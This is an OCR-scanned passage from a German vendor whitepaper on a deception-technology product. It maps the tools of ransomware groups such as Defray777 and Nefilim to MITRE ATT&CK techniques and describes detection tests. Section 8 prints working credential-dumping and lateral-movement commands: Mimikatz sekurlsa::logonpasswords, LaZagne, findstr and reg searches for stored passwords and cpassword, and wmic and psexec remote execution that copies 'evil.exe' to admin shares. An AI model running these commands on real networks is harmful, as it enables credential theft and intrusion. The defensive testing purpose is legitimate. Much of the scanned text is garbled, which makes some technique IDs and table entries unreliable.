Cobalt Strike can produce a sessions report

from compromised hosts. [22] Connections Discovery hetstat
Cobalt Strike can recover hashed passwords M' O.S . -
[22] Credential Dumping: Mimikatz
SAM
Cobalt Strike can use Window admin shares %j g&rgc/)te omd ))
(C$ and ADMINS$) for lateral movement. [22] Windows Admin Shares E—
Cobalt Strike can SSH to a remote service. T1021.004 - Remote ssh
[22] Services: SSH

O ONMONONONOIO,
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AS A MANAGED SERVICE

7.7.4 Beispiel

Move Latera"y

* TeamViewer * BEACON
» Legitimate Credentials * RDP
» plink

* F-Secure C3

f Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission E
« Suspected password * BEACON « CVE-2020-1472 « PowerView = Data exfiltration via
aftacks oh perimeter |, SMOKEDHAM * Mimikatz * Built-in Windows FRAR O CE
e .« F-Secure C3 FLERSE prosass utilities + Data theft extortion

+ CVE-2021-20016 memory dumps » BLOODHOUND + DARKSIDE
. Mglicipus emails « Advanced IP ransomware
with links Scanner deployment_
(generally via
PsExec)

Abbildung 6 - Quelle: Fireeye - Mandiant [35]

Cybersense vs Ransomware Seite 26 von 40
Version 2.0



ebers CYBERSENSE

ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

7.8 Defray777
7.8.1 Betroffene

» Krankenversicherer Mutuelle Nationale des Hospitaliers (MNH), Februar 2021 [36]
» Braasiliens Oberster Gerichtshof, November 2020 [37]

7.8.2 Zuordnung

0 Ini titgl e, 9 Pe( sistenz e Ausforschung e Rechte erh6hen e Ausbreitung e Datendiebstahl o Verschlisselung
Kompromittierung sichern & Erpressung

Vatet / IcedID Pyxie Defray777 (aka RansomEXX)

7.8.3 Analyse

Pyxie [38] [39]

ey MITRE ATT&CK aquivalentes
Fahigkeit Typ : 9 Cybersense
Technique Tool
Network Scanning [39] T104.6 - Netwgrk Advanced IP
Service Scanning Scanner
Enumerating the domain with Sharphound T1018 - Remote System .
. AdFind
[39] Discovery
SMB scan of computers identified by T1135 - Network Share Net
Sharphound [39] Discovery -
. T1056.001 - Input
Keylogging [39] @ Capture: Keylogging -
. . T1552 - Unsecured
Credential harvesting [39] @ Credential Lazagne ))
. . T1555 - Credentials from
Credential harvesting [39] @ Password Stores Lazagne ))
Runs Mimikatz in memory. Collects
passwords with Lazagne. Collects LogMeln Lazaane
data T1003, T1555, T1552 Wi—t; ))
Collects Citrix data Mimikals
Collects KeePass safes [39]
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ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

T1047 - Windows

Services: SSH

Fileless Lateral Movement [40] Management wmic ))
Instrumentation
Fileless Lateral Movement [40] 11570 - Lateral Tool PsExec
Transfer
SSH to a remote service. [41] 11021004 - Remote ssh

»

Cybersense vs Ransomware
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ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

7.9 Nefilim
7.9.1 Betroffene

« Verlagsgruppe Madsack, April 2021 [42]
« Australischer Internet Service Provider TPG, Mai 2021 [43]

7.9.2 Zuordnung

0 Ini titgl e, 9 Pe( sistenz e Ausforschung e Rechte erh6hen e Ausbreitung e Datendiebstahl o Verschlisselung
Kompromittierung sichern & Erpressung

Nefilim

7.9.3 Analyse

Pyxie [38] [39]

MITRE ATT&CK | aquivalentes

Fahigkeit T . Cybersense
9 yp Technique Tool y
Network Scanning [47] T104.6 - Netwgrk Advanced IP
Service Scanning Scanner
Enumerating the domain with AdFind, T1018 - Remote System AdFind
BloodHound [44] Discovery E—
SMBTool [44] @ T1135 - Network Share Net ))
Discovery
Mimikatz, LaZagne, and NirSoft's NetPass T1003, T1555, T1552 Lalzag. ne
[45] Mimikatz
Cobalt Strike can use Window admin shares @ %.— SRI\e/Irgj)te emd ))
(C$ and ADMINS) for lateral movement, [44] Windows Admin Shares -
Cobalt Strike can SSH to a remote service. T1021.004 - Remote ssh
([44] Services: SSH
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7.9.4 Beispiel

=
r

— B

— -

_.o_éoﬁ

Lateral Movement

CYBERSENSE

ADVANCED DECEPTION TECHNOLOGY

AS A MANAGED SERVICE

Terminate Process/

Defense Evasion/ Credential Access
RDP/Valid Disabling Tools *  Mimikatz D"f\?:i?d
Accounts * PCHunter « Lazagne +  BloodHound
* ProcessHacker +  Netpass Cobalt Strike
Exploit * GMER SMBTool
* RevoUninstaller
* BATFile

Abbildung 7 - Quelle: Trend Micro [44]
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8 MITRE ATT&CK Technique Tests

8.1 Stufe 3 - Ausforschung

CYBERSENSE

ADVANCED DECEPTION TECHNOLOGY

AS A MANAGED SERVICE

aquivalentes

Fahigkeit Tool Ransomware-Variante Cybersense
T1049 - System Network REvil / Sodinokibi, Egregor,
. . netstat .

Connections Discovery Darkside
netstat -anop tcp
arp -a

AdFind REvil / Sodinokibi, Egregor, Clop,
T1018 - Remote System Discovery ST Trickbot, Darkside, Defray777,
Bloodhound

Nefilim

),

Sharphound.exe

Invoke-AzureHound

adfind -f objectcategory=computer -csv name cn OperatingSystem dNSHostName
description > computer.txt

11087002 -
Account Discovery: Domain Account

AdFind,
Bloodhound

Clop

»

adfind -default -f
(adminCount =1))“ -dn
adfind.exe -f
(adminCount=1)) ,,

Sharphound.exe

Invoke-AzureHound

,(&(| (&(objectCategory=person)(objectClass=user))(objectCategory=group))

,»(&(ServicePrincipalName=x*)(objectCategory=person)(objectClass=user)

Cybersense vs Ransomware
Version 2.0

Seite 31 von 40



~Qberberg
Online

CYBERSENSE

ADVANCED DECEPTION TECHNOLOGY

AS A MANAGED SERVICE

»

T1482 - Domain Trust Discovery AdFind Clop
adfind -gcb -sc trustdmp
REvil / Sodinokibi, Egregor, Clop,
T1046 - Network Service Scanning AdSvs:r(]:s;:lrlP Trickbot, Darkside, Defray777, ))

Nefilim

T1135 - Network Share Discovery

Net ,Advanced IP
Scanner

REvil / Sodinokibi, Egregor,
Darkside, Defray777, Nefilim

»

net view \\<remotesystem>

Cybersense vs Ransomware
Version 2.0
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CYBERSENSE

ADVANCED DECEPTION TECHNOLOGY

8.2 Stufe 4 - Rechte erhohen und Credential Harvesting

AS A MANAGED SERVICE

Fahigkeit

aquivalentes

Ransomware-Variante

Cybersense

Stores

Tool
REvil / Sodinokibi, Egregor, Clop,
11003, T1555, T1552 Mimikatz Trickbot, Darkside, Defray777, ))
Nefilim
log C:\mimi.txt
vault::list
vault::cred
privilege::debug
sekurlsa::logonpasswords
T1056.004 - Input Capture: Credential . ))
API Hooking Lazagne Trickbot
T1555 - Credentials from Password Lazagne Clop, Trickbot, Defray777 ))

laZagne.exe all

T1552.001 - Unsecured Credentials:
Credentials in Files

findstr, gp3finder

Trickbot, Defray777

»

\\<domain>\netlogon

C:\Users\<user>\AppData\Roaming

findstr /psim ,pass“ x.txt *.xml *.xls *.xlsx
findstr /si ,user pass® *.txt *.xml *.xls *.xlsx

findstr /psim ,pass“ C:\Users\<user>\AppData\Roaming\x.xml
findstr /psim ,pass“ C:\Users\<user>\AppData\Roaming\x.txt
certutil -decode encodedInputFileName decodedOutputFileName

Cybersense vs Ransomware
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CYBERSENSE

ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

T1552.002 - Unsecured Credentials:
Credentials in Registry

Lazagne, reg

Trickbot, Defray777

»

reg query HKCU /f password /t REG_SZ /s

T1552.004 - Unsecured Credentials:
Private Keys

Mimikatz / find

REvil / Sodinokibi

»

@relpath @path @fsize“

dir /a /s /b C:\Users\<user>\*.ppk
dir /a /s /b C:\Users\<user>\*.pem

forfiles /P C:\Users\<user> /s /m *sshx -c ,cmd /c echo @isdir @fdate @ftime

T1552.006 - Unsecured Credentials:
Group Policy Preferences

PowerSploit
oder findstr mit

gp3finderexe

REvil / Sodinokibi

»

gp3finder_v5.0.exe -D <CPASSWORD>

findstr /S /I cpassword \\cybersense.ad\sysvol\cybersense.ad\policies\*x.xml

Cybersense vs Ransomware
Version 2.0
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8.3 Stufe 5 - Ausbreitung

CYBERSENSE

ADVANCED DECEPTION TECHNOLOGY

AS A MANAGED SERVICE

Fahigkeit

aquivalentes
Tool

Ransomware-Variante

Cybersense

T1047 - Windows Management
Instrumentation

Clop, Defray777

»

\\<smbIP>\share\evil.exe

wmic /node:<IP> netlogin get Name,numberoflogons
wmic /node:<IP> /user:domain\user /password:password process Llist brief
wmic /node:<IP> /user:domain\user /password:password process call create

wmic /node:<IP> /user:cybersense\user /password:xx process call create ,calc.exe*

T1570 - Lateral Tool Transfer

PsExec, cmd

Trickbot, Defray777

»

psexec /accepteula \\<IP> -u Domain\user -p password -c

psexec /accepteula \\<IP> -u Domain\user -p password -c -f \\<smbIP>\share\file.exe

-f ,calc.exe*

T1021.001 - Remote Services: Remote
Desktop Protocol

RDP

Clop

»

MStSC /VIXXX.XXX.XXX. XXX Jfadmin

Cybersense vs Ransomware
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REvil / Sodinokibi, Egregor,

T1021.002 - Remote Services: SMB/
- Darkside, Nefilim

Windows Admin Shares

O
[N

»

net view \\<remotesystem>

dir \\<remotesystem>\c$

dir \\<remotesystem>\DeploymentShares

copy evil.exe \\<remotesystem>\DeploymentShare$

o REvil / Sodinokibi, Egregor,
T1021.004 - Remote Services: SSH ssh Darkside,Defray777, Nefilim

»

Cybersense vs Ransomware
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9 Fazit

Die Tests und Analysen zeigen Uberzeugend, wie sehr Cybersense Deception dazu geeignet ist,
Einbriiche in Unternehmensnetzwerke friihzeitig aufzudecken und die Ziele der Angreifer zu vereiteln.

In den entscheidenden Phasen eines Angriffs muss sich der Angreifer unvermeidlich Techniken
bedienen, die Gber den Ansatz von Cybersense Deception beeinflusst und letztlich detektiert werden
konnen.

Gleichzeitig ist die Alarmrate um GroBenordnungen niedriger als bei anderen Ansatzen zur
Einbruchserkennung. Die Kombination aus Managed Service und wenigen, aussagekraftigen
Alarmen ermaoglicht rasche, vollstandige Aufklarung der Ereignisse bei niedrigem personellem
Aufwand und jederzeit verfligbarem Expertenwissen.
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